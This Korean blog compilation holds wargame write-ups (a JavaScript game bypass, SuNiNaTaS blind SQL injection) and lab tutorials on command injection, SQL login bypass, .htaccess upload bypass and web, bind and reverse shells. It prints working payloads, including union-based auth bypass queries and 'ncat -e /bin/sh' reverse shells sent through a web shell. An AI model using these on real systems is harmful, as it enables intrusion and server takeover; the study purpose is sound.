8번째 푼 문제이다.

이번 문제 푸느라 눈 빠지는 줄 알았다...
(내가 잘 몰라서 그런거일수있지만..)

8번째 풀이 문제! fly me to the moon



(문제)



아래는 문제 페이지다.



(문제 페이지)



문제 페이지에 들어가면 게임을 하게된다.

그런데 벽이 점점 좁아지면서 깰수 없는... 지경에 이른다. 게다가 점수는 31@@@@ 엄청 많이 이상 받아야 된다고 나온다..

자바스크립트 우회문제구나! 하고 들어가보니.!



(스크립트)



역시! 스크립트는 곱게 줄리 없지!

뷰티하게 정렬해주자.



(스크립트 코드)



이제 좀 사람이 볼만해졌다.

이 코드를 분석하느라 오래걸렸다.. 실은 완벽하게 분석하려다 포기하고
게임에 핵심되는 부분만 골라서 봤다.

내가 원했던 것은 벽에 부딛혀도 안죽게하기!
그런 함수를 뒤지다보니 죽는 함수가 나오는 곳을 발견하였다.



(죽는 함수)



이 조건을보면 벽에 부딛히는 조건을 적어놨다.
나는 요 || (or)연산자를 && (and) 연산자로 바꾸어 죽지 않게 했다.
근데... 난독화되어있는 코드라..
다행이도 || 는 한번쓰인거라서 찾아서 &&로 바꾸어 주기만 하면 됬다.



(|| 사용된곳)



바로 이곳을 && 로 수정해서 다시 스크립트를 입력해주었다.

그랬더니 벽에 아무리 부딛혀도 무적의 전투기가 되었다.



(무적의 전투기)



그런데 또 한가지 문제가 생겼다. 점수가 목표치 31@@@@@ 어쩌구 까지 가는데 오래걸린다...

그래서 점수와 관련된 함수가 이용되는 곳을 공략했다.



(점수가 올라가는 조건)



바로 이 게임에서는 c_s 등 여러 시간에 관련된 시간 변수를 두어 여러가지 동작을 일으켰는데
c_s는 20에 한번씩 0으로 리셋되어 점점 1씩 올라간다. 바로 0으로 리셋될때 점수가 올라가는데
여기서 c_s >20 조건을 c_s>=0 으로 주어 점수가 파파팍 올라가게 했다.

여기서 점수가 하나씩 올라가는 것에 불만을 품고 점수를 한번에 더더 많이 올리기 위해 점수 올리는 함수를 추적하였다.




(점수 상승함수)




(점수 상승함수)



이 곳에 ++로 1씩 증가하게 되어있었는데
이 ++을 여러번 복사 붙여넣기하여 한번에 점수가 1씩이 아닌 팍팍 올라가게 했다.


(점수 팍팍 코드)




이렇게 세팅하고 시작하니 무적의 전투기가 점수가 파파팍 쌓이는 것을 볼 수 있다.



(무적전투기 죽이기)



이렇게 계속 냅둬도 내 전투기는 무적이라 안죽는다.. 그래서 게임이 안끝나는데
내가 죽이는 함수를 이용하여 죽여줘야한다.

31@@@@@ 이상이 될때 전투기를 죽여주면
키가 나온다~!


(문제 해결)


'WarGame > 500 Project' 카테고리의 다른 글

(10/500) Wargame.kr - md5 password  (0) 2017.04.14
(9/500) Wargame.kr - md5_compare  (0) 2017.04.13
(7/500) Wargame.kr - WTF_CODE  (0) 2017.04.12
(6/500) Wargame.kr - flee button  (0) 2017.04.11
(5/500) Wargame.kr - QR Code Puzzle  (0) 2017.04.11




@23번문제
블라인드 인젝션으로 Suninatas에 있는 웹카테고리의 마지막 문제이다.
난이도가 있었지만, 보통의 블라인드 인젝션이었다.
MsSQL DB라는 것을 감안해야하고 곳곳의 어려운부분이 있기는 하다.




(23번 문제)



(문제 화면)



문제화면을 보니 필터링하고 있는 키워드 중에 admin 단어가 보인다.

블라인드 인젝션으로 이번 문제는 admin의 비밀번호를 찾는 것이 목적인데,
admin을 필터링 했다니.

일단 사용할 수 있는 키워드와 주석, numeric/string인지 여부를 확인하기 위해
인젝션을 시도하였다.
그 중 성공한 쿼리를 통해서 알 수 있는 내용은 다음과 같았다.



(성공 쿼리)



id 부분은 string으로 들어가고 있고 or, =, -- 기호를 사용할 수 있다.

또 이 문제에서 조금 힘들었던 부분이 길이제한인데..
예를들어 다음과 같이 길이가 조금 길다 싶으면 No hack이라고 떴다.
처음에는 어떤 단어를 필터링 하고 있는 줄 알았는데
키워드가 아닌 길이에서 필터링을 하고 있었다.



(필터링 된 모습)



최대 몇글자까지인지 확인해볼 필요가 있다.




(길이 확인)



최대 길이를 확인해보니 30 글자였고
30글자를 넘어가면 No hack이라고 떴다.

우리는 30글자 이내의 쿼리문을 만들어야한다.

그리고 또 우리가 해야할 일 중 하나는
admin의 행을 select할 수 있도록 해야하는데
처음에는 id에서 guest가 아닌 행을 찾도록해서 admin 계정의 행을 select 하는데 성공했다.




(admin select 성공)



하지만 이렇게 할 경우 블라인드 인젝션을 하려면 뒤에 긴 쿼리가 붙어야하는데
한계가 있었다..
즉, admin을 우회해서 입력할 수 있어야했다.

구글에 문자열 필터링을 치니 가장 먼저 나온것이
쿼터로 끊어주는 것이었다.
ex 'admin = 'adm'+'in'

이런 방법이 적용되는지 확인해 보았다.



(인젝션)



admin 행을 select 하는데 성공했다. :)
이제 블라인드 인젝션을 해야하는데 평소와 같이 나는 이렇게 입력했다.



(인젝션)



결과는 당연히 False였다. MsSQL에서는 mid함수를 지원하지 않는다...
그렇기에 내게 남은건 left 함수밖에 없었는데(substring을 필터링하고있어서...)
left를 쓰면 비밀번호 길이가 12글자인데(비밀번호 길이를 구하는 과정은 사진찍지 못했다.!)
30글자의 쿼리를 넘지않을까 걱정이 들었다.
하지만 우리에겐 right함수도 있으므로 막히면 right로 교체해서 반씩 알아내도 되겠다는 생각이 들었다.
첫글자는 파이썬으로 V였다.



(인젝션)



이런식으로 파이썬 코드를 작성하여 한글자씩 찾았다.
(12글자라서 금방 끝났다.)




(작성 코드)





(결과)



첫번째 글자는 V였고
두번째 쿼리는 admin'+'n'and left(pw,2)='V + chr(i)'-- 을 이용하여 찾았다.




(2번째 글자)




(결과)



결과는 3이었고
이제부터 No hack이 뜨기 시작했다.
그리하여 쿼리문을
'or left(pw,3)='V3 + chr(i)'-- 로 바꾸어서 찾았다.



(3번째 글자)




(결과)



이런 식으로 한글자씩 찾을 수 있었고

마지막에 admin으로 로그인해본 결과 비밀번호가 일치했다.



(문제 해결)



이제 이 비밀번호를 인증키에 입력해주면 끝이다. :)


'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS : Challenge WEB 22  (0) 2017.03.29
SuNiNaTaS : Challenge WEB 8  (0) 2017.03.29
SuNiNaTaS : Challenge WEB 6  (0) 2017.03.28
SuNiNaTaS : Challenge WEB 5  (0) 2017.03.27
SuNiNaTaS : Challenge WEB 4  (2) 2017.03.23


@ 2번 문제이다.



(2번 문제)



(문제 화면)



문제를 보고
음... sql injection을 통한 로그인 우회 문제인가?
라는 생각이 들어 여러 시도를 했다..


(인젝션 시도)



이것저것 인젝션을 해본 뒤
어떻게 된거야 온갖 상상을 해보았다.

그 후 이 페이지의 소스코드를 확인해보았다.
(소스코드를 보는 것이 우선이다..)
소스코드를 보니 스크립트가 적혀져있었다. + 문제의 힌트와 함께




(스크립트)



스크립트의 내용은 id와 비밀번호를 갖게 입력하면
빠꾸 먹는다.
하지만 힌트를 보면 아이디와 비밀번호를 같게 입력해야된다고 알려주고있다.

즉 이 문제는 스크립트 우회 문제이다.

form 문을 하나 만들어서 내가 따로 보내줘야지 라는 생각이 들었다.




(내가 만든 form)



value를 같게 설정해준 뒤
전송버튼을 눌러서 보내줄 생각이다.




(콘솔에 입력!)





(버튼 클릭)



여기서 저 버튼을 클릭하면 된다.
위 캡쳐에서는 못찍었지만 form 태그에 action에 /Part_one/web02/web02.asp를 찍어주든가.
아니면 그 페이지 내에서 콘솔에 입력하여 폼문을 전달해줘야한다.

전달해주면 아래와 같이 답이 나오게 된다.




(정답)






'WarGame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS : Challenge WEB 6  (0) 2017.03.28
SuNiNaTaS : Challenge WEB 5  (0) 2017.03.27
SuNiNaTaS : Challenge WEB 4  (2) 2017.03.23
SuNiNaTaS : Challenge WEB 3  (0) 2017.03.22
SuNiNaTaS : Challenge WEB 1  (0) 2017.03.22


* 웹 해킹을 하면서, 웹 해킹 문제를 풀면서 Command Injection을 해야하는 상황이 종종 나타난다.

하지만, 이 또한 SQL Injection과 함께 널리 알려져 있기 때문에 보통 막아놓는다.
예를들어
$key = $_REQUEST["input"];
system("grep -i \"$key\" action.txt");
예를 들어 이러한 코드가 있다고 가정해보자!

Injection공격에 익숙한 사람들이라면 Injection 취약점이 있다는 것을 바로 알 수 있다.
key라는 변수를 GET방식으로 받아와 직접 명령어를 전달한다.
여기서 | (pipe) 혹은 ; (세미콜론)을 쓴다거나 등등 여러 방법으로 내가 원하는 명령을
함께 실행 할 수 있는 것이다.

그런데 만약 여기에
(preg_match('/[;|&`\'"]/',$key))
이러한 코드 문구가 있고 필터링 되고있다면??
우리가 알고있는 pipe도 못쓰고 세미콜론도 못쓰고...
게다가
%0a로 개행하여 명령을 전달하려해도 우리가 입력한 값이 "" 더블쿼터안에 들어가기 때문에
명령어로 인식이 안된다..

그렇다면 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 찾으면 좋을텐데..!

그래서 오늘은 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 정리하고자한다.
Command Injection으로 활용할 수 있다.

명령어로 인식되게 하는 특수문자가 리눅스에 있다.

예를들어 uname이라는 명령어를 리눅스에서 입력하면
현재 사용되고 있는 OS 정보를 보여준다.



(uname 명령)



여기서 mkdir로 폴더를 만드는데
#> mkdir uname
이라고 입력을 하면
uname이라는 폴더가 만들어진다.



(uname 폴더 생성)



하지만 여기서
#> mkdir `uname`
을 입력하면 `(백쿼터) 안에 있는 uname이 명령으로 인식되어 명령이 전달된 값 Linux라는 폴더를 만들게 된다.



(명령어로 인식)



아하!!
`(백쿼터) 안에 있으면 명령어로 인식되는 것을 알 수 있다.

하지만..
위에서 필터링 되고있는 것들을 보면 `(백쿼터)가 포함되어있다.
다른 방법이 하나 또 있다.
바로 $() 이 안에다 쓰면 명령어로 인식이 된다.
Linux라는 폴더를 지우고 다시한번 똑같이 해보겠다.



(명령어로 인식)



역시 명령어로 인식되는 것을 확인 할 수 있다.

명령어로 인식되게 할 수 있는 방법
1. ` uname` 
2. $(uname)  




SQL Injection을 크게 두 종류로 본다면
Numeric Injection과 String Injection이 있다.

1) Numeric Injection
- SQL Injection 취약점이 존재하는 입력의 형태가 정수일 때의 Injection이다.
정수의 타입으로 입력하기 때문에
String과 달리 ' 작은 따옴표가 없다.
그래서 뒤에 추가적인 명령을 바로 입력하여 SQL Injection을 할 수 있다.
ex)
select * from news where no=1 union select * from news
* 띄어쓰기를 할 수 있어야 추가적인 명령을 할 수 있다.
(만약 코드 상에 trim()이나 공백을 지워주는 함수가 있다면 불가능하다..)


2) String Injection
- Injection 취약점이 존재하는 입력의 형태가 문자일 때의 Injection이다.
우리가 입력하는 것이 작은따옴표 ' 안으로 들어가기 때문에 Numeric Injection처럼 바로 명령을 이어붙이지는 못한다. 다만 ' 따옴표를 사용해 문자열을 잘라줄 수 있으면 된다.

예를들어 아래와 같이 where 조건 이 항상 참인 경우( 1인경우 )
전체 값을 불러오는 것을 확인 할 수 있다.



(where 참 경우)



이 것을 이용해 id에는 String이 들어가므로
아래와 같이 항상 참이도록 SQL Injection을 하면 전체 ID 정보를 가져올 수 있고
인증에 성공하게 된다. (우리가 인증과정을 해당 ID와 비밀번호가 조건에 맞는 데이터가 있다면 인증에 성공하게 만들었다.)
(사실 이 코드는 굉장히 효율적이지만 치명적인 SQL Injection 취약점이 있다. 위와같이)

그렇다면 아래와 같이 Injection을 해보겠다.



(SQL Injection)




결과...
성공하지 못했다.

SQL Log를 살펴보니.!



(SQL Log 확인)



우리가 입력한 ' (작은 따옴표) 앞에 \(역슬래쉬) 이스케이프 문자가 붙어진 것을 확인 할 수 있다.
그렇기에
우리가 입력한 작은 따옴표가 제 역할을 하지 못한 것이다.
이유는! 바로 우리가 전에 /etc/php.ini 설정 파일에서 magic_quotes_gpc 라는 설정을 해주었기 때문이다..!
이렇게 되면 String Injection은 난이도가 팍! 올라간다..!
지금 우리는 SQL Injection을 확인해보는 것이므로... ㅎㅎ
설정 해제 후 확인해보도록 하자! :)



(설정 해제)



그 후 같은 SQL Injection 모습이다.



(로그인 성공)



원리는
위에서 설명한것 과 같이 항상 참이 나오는 SQL 명령을 삽입하였다. 물론 뒷부분은 처리되지 않도록 주석처리 하였다 .(#을 이용해서)
그래서 ID와 비밀번호 데이터가 전부 가져와졌고 우리가 만든 페이지 코드에서 데이터가 있다면 인증에 통과하도록 했기 때문에 통과 되는 것이다.

그렇다면 아이디 부분이 아닌 비밀번호 부분도 마찬가지 String이므로 같은 공격을 할 수 있다.


(SQL Injection)



Log를 확인해보면 우리가 원하는 SQL 명령이 들어간 것을 확인해 볼 수 있다.
조금 다른건
비밀번호 입력한 것이 password() 괄호 안에 들어가므로
1' ) or 1#
이렇게 괄호를 닫아주는 센스?!



(Log 확인)



이렇게 하면
없는 ID로도 로그인이 가능하다.



(로그인 우회)



그렇다면 이제 난이도를 올려보자!
분명 위에 처럼 where를 사용하여 조건에 맞는 데이터가 있다면 인증하는 것도 굉장히 혁신적인 코드이지만 취약점이 있다...
이제 우리는 아이디와 비밀번호를 DB에서 확인하여 일치하면 인증을 하도록 난이도를 올리겠다.



(난이도 업 코드)



ID만 쿼리문에 들어가있다. ID만 검색한 후 그 데이터에서 비밀번호를 입력받은 비밀번호와 일치하는지에 따라 인증을 하는 코드이다.

과연 이것을 우회할 수 있을까?
생각보다 간단하다 :)

저 코드를 잘 보면 알 수 있게 된다.
전 글에서 우리가
select * from login union select 1,2 from login
이렇게 하면 1, 2 컬럼이 추가되어 나오는 것을 확인한 적이 있다.
(기억이 안난다면 지난 글 확인!)

이것을 이용하는 것이다.
코드를 보면 사용되는 쿼리문은
select * from login where user='id' 이다.
여기서 id 에다가 다른값을 넣어준 후 작은따옴표로 문자열을 닫고 union으로 추가해서 우리가 원하는 값이 나오도록 하는 것이다.
Ex)
select * from login where user='1' union select 1, 2 from login;
을 하게 되면 어떤 데이터가 받아와질까?
바로 user가 1인 데이터가 없으므로

user  |  pass
  1         2 

이런 데이터가 받아와지는 것이다. 코드를 보면 이럴 경우 pass의 값 2를 가져오게 되고
우리가 만약 비밀번호에 2를 입력한다면? => ?!?!

하지만 코드를 잘보라~
입력받은 비밀번호를 md5해서 비교하고 있다.
(사실 DB의 값을 바꿔놨다. password에 md5로 해쉬한 값을 넣어놨다.)

그렇다면 mysql 내장함수를 이용하여
select * from login where user='1' union select 1, md5(2) from login;
를 한다면
2가 아닌 md5로 해쉬한 2의 값이 나오게 되고
우리가 비밀번호에 2를 입력하면
모든 조건이 맞는 것이다.!
즉! 우회 성공!

확인해보겠다.
select * from login where user='1' union select 1, md5(2) from login; 이 나올수 있도록
1' union select 1, md5(2) from login# 을 넣어주고
비밀번호에 2를 입력해주었다.



(SQL Injection)



결과..



(우회 성공)




이처럼 SQL 에 취약한 코드가 있다면 안전한 인증을 사용해도 우회가 가능하다는
가능성을 보았다.!




저번 글에서 파일 업로드 취약점을 공략하다가
.php 파일 확장자 업로드에서 막혀있었다.

오늘은 이러한 경우 우회할 수 있다는 가능성을 이해해보겠다.

저번 글에서 로컬설정 파일에 대한 이해가 되었다면
.htaccess 파일을 떠올릴 수 있을 것이다.

우리는 .htaccess 파일로 추가적인 설정을 해줄 것이다.
게시판에 업로드하면 data 폴더에 저장되는 것 또한 확인을 하였으니
data 폴더에 .htaccess 파일을 업로드하면 그 폴더 안에서 우리가 원하는 확장자를 php로 실행 시킬 수 있을 것이다.

우리는 .abc 라는 확장자가 php로 실행 될 수 있도록
AddHandler php5-script .abc
AddType text/html .abc
코드를 작성한 .htaccess 파일을 올릴 것이다.



(.htaccess 파일 작성)



(.htaccess 파일 생성)



자 이제 php로 실행이 되는지
php 코드를 작성해서 attack.abc를 올려보겠다.



(attack.abc 파일 작성)



아래와 같은 파일을 준비한다.



(준비 파일)



그리고 이 두 파일을 업로드 시켜준다.

업로드 되면
/data 폴더에 들어있을 것이므로
이제 /data 폴더에서 우리가 올렸던 attack.abc를 열어준다.



(attack.abc 실행)



(실행 된 모습)



확인해보니
php 파일이 실행되었다!

이로써 웹에 대한 충분한 이해가 있으면
취약점을 우회하는 방법도 여러가지 찾을 수 있다는 것을 알게 되었다.
앞으로 공부할 목표는 웹 취약점이라기 보다 웹에 대한 이해라고 보면 된다.


그렇다면 우리가 작성한 php 파일을 올린게 왜 치명적인걸까?
우리가 만든 php파일을 서버에 올릴 수 있다면
우리가 서버에 관해 못할게 없어진다.
그 가능성을 확인해 보겠다.

이제 웹 쉘이라는 개념을 이해해보자.
우리가 앞서 알아본 취약점을 공략하기 위해서 필요한 것은
입력할 곳. 이다.
다시 말하면
명령을 입력할 곳
바로 이게 쉘인데 웹 상에서 명령을 입력할 곳 이라는 의미로
웹쉘 이라고 불린다.

우리가 알아볼 것은 원격 쉘이다. 당연히 우리가 서버실에 잡입 침투하지 않을 것이므로 로컬 쉘에 대한 이야기는 아니다.

원격 쉘에 종류는 많지만 대표적으로 3가지가 있다.
1. 웹쉘
2. 바인드 쉘
3. 리버스 쉘

1. 웹쉘이란
웹에서 명령을 실행하는 것이다.
간단하게 웹쉘을 확인해 보겠다. (아주 간단히)

우리가 php코드를 올릴 수 있다는 것을 이용하여
아래와 같은 코드를 만들어 올린다고 해보자.


(웹 쉘 코드)



이 코드를 잘 보면 GET방식으로 받은 변수를
system 함수로 넘겨주고 있다.
즉 우리는 url을 통해 명령을 전달 할 수 있다.

확인을 위하여
이 파일을 업로드 해보겠다.


(웹쉘 테스트 파일)




업로드 후
cmd변수에 ls 명령을 전달했다.



(웹 쉘 확인)



ls 는 폴더 리스트를 확인하는 명령어인데
data 폴더에 있는 파일 리스트가 나오는 것을 확인 할 수 있다.

바로 이런 것이 웹 쉘이다.

2. 바인드 쉘
- 기본적으로 바인드 쉘은 TCP 통신을 이용한다.
정확히 말하면 원격 쉘은 TCP 통신을 주로 한다.
우리는 바인드 쉘을 확인하기 위하여 TCP통신을 하는 netcat이라는 프로그램을 이용할 것이다.

먼저
netcat을 실행해보겠다.
먼저 서버에서
#> ncat -l 12345
12345는 포트 번호이다. 열어줄 포트번호를 적어주면 된다.



(포트 개방)



그 후 윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
접속할 IP와 포트번호를 적어주면 된다.



(ncat 접속)



접속후 문자를 입력하면 문자열이
전송된다.


(문자열 전송)



기본적으로 이렇게 문자열을 전송하지만 옵션을 달리하여 이번에는
쉘을 연결해보겠다.
서버에서
#> ncat -e "/bin/sh" -l 12345
명령으로 포트를 열어준다.



(포트 개방)



그 후
윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
로 접속해준다.



(접속)



접속후 ls 라든가
기본 명령어를 입력하면
원격으로 쉘을 사용할 수 있게 된다.
바로! 이게 바인드 쉘이다.

3. 리버스 쉘
리버스 쉘이 나온 이유는 방화벽을 우회하기 위해서이다.
보통 서버에서 열어두어도 우리가 접속할 때 inbound 정책에 의하여
막히는 경우가 많다.
하지만 outbound 정책은 그렇게 심하지 않기 때문에 이 점을 이용한 것이다.
서버에서 우리한테 연결 요청을 하도록 하는 것이다.

바인드 쉘과 순서가 바뀐 것이다.
먼저 윈도우 호스트에서 포트를 열어주고
Desktop> nc.exe -l -p 12121



(포트 개방)



그 후 서버에서
# ncat -e "/bin/sh" 192.168.3.228 12121
을 이용하여 요청하게 하는 것이다.


(서버의 요청)



그러면 아까와 같이 쉘이 연결되어
원격 쉘을 사용할 수 있게 된다.



(원격 쉘 사용)



바로 이게 리버스 쉘이다.


리버스 쉘이 우리가 직접 서버에서 연결을 시켜줘서
간혹 이게 왜 취약한거지? 라고 생각이 들 수 있다.
하지만 웹쉘과 리버스 쉘을 같이 이용한다면???
이번엔 우리가 서버를 만지지 않고 쉘을 획득해보겠다.

먼저 윈도우 공격자의 호스트 포트를 열어준다.



(포트 개방)




그 후 아까 우리가 업로드 했던 웹 쉘을 이용하여
cmd 변수에
ncat -e "/bin/sh" 192.168.3.21 12121
우리의 IP 주소와 우리가 열었던 포트번호를 입력하여
넘겨준다.



(웹쉘 사용)



그렇게 되면
우리는 아까와 같이 리버스 쉘이 적용되어
원격 쉘을 이용할 수 있게 된다.


(원격 쉘 접속)




이렇듯
우리가 만든 php 파일이 웹 서버에 올릴 수 있다는 것은
엄청난 취약점이 된다.
이를 통해 시스템까지 침투할 수 있기 때문이다.


+ Recent posts